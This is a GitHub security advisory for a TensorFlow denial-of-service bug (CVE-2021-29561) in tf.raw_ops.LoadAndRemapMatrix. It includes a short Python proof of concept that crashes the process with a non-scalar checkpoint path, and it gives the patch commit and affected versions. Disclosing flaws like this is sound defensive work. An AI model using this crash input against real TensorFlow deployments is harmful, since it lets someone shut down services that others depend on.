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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWd2bTQtaDhqMy1yanJx

CHECK-fail in `LoadAndRemapMatrix`

Impact

An attacker can cause a denial of service by exploiting a CHECK-failure coming from tf.raw_ops.LoadAndRemapMatrix:

import tensorflow as tf

ckpt_path = tf.constant([], shape=[0], dtype=tf.string)
old_tensor_name = tf.constant("")
row_remapping = tf.constant([], shape=[0], dtype=tf.int64)
col_remapping = tf.constant([1], shape=[1], dtype=tf.int64)
initializing_values = tf.constant(1.0)

tf.raw_ops.LoadAndRemapMatrix(
    ckpt_path=ckpt_path, old_tensor_name=old_tensor_name,
    row_remapping=row_remapping, col_remapping=col_remapping,
    initializing_values=initializing_values, num_rows=0, num_cols=1)

This is because the implementation assumes that the ckpt_path is always a valid scalar.

const string& ckpt_path = ckpt_path_t->scalar<tstring>()();

However, an attacker can send any other tensor as the first argument of LoadAndRemapMatrix. This would cause the rank CHECK in scalar<T>()() to trigger and terminate the process.

Patches

We have patched the issue in GitHub commit 77dd114513d7796e1e2b8aece214a380af26fbf4.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Permalink: https://github.com/advisories/GHSA-gvm4-h8j3-rjrq
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWd2bTQtaDhqMy1yanJx
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: almost 3 years ago
Updated: about 1 year ago

CVSS Score: 2.5
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Identifiers: GHSA-gvm4-h8j3-rjrq, CVE-2021-29561
References:

• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gvm4-h8j3-rjrq
• https://nvd.nist.gov/vuln/detail/CVE-2021-29561
• https://github.com/tensorflow/tensorflow/commit/77dd114513d7796e1e2b8aece214a380af26fbf4
• https://github.com/advisories/GHSA-gvm4-h8j3-rjrq

Repository: https://github.com/tensorflow/tensorflow
Blast Radius: 12.2

Affected Packages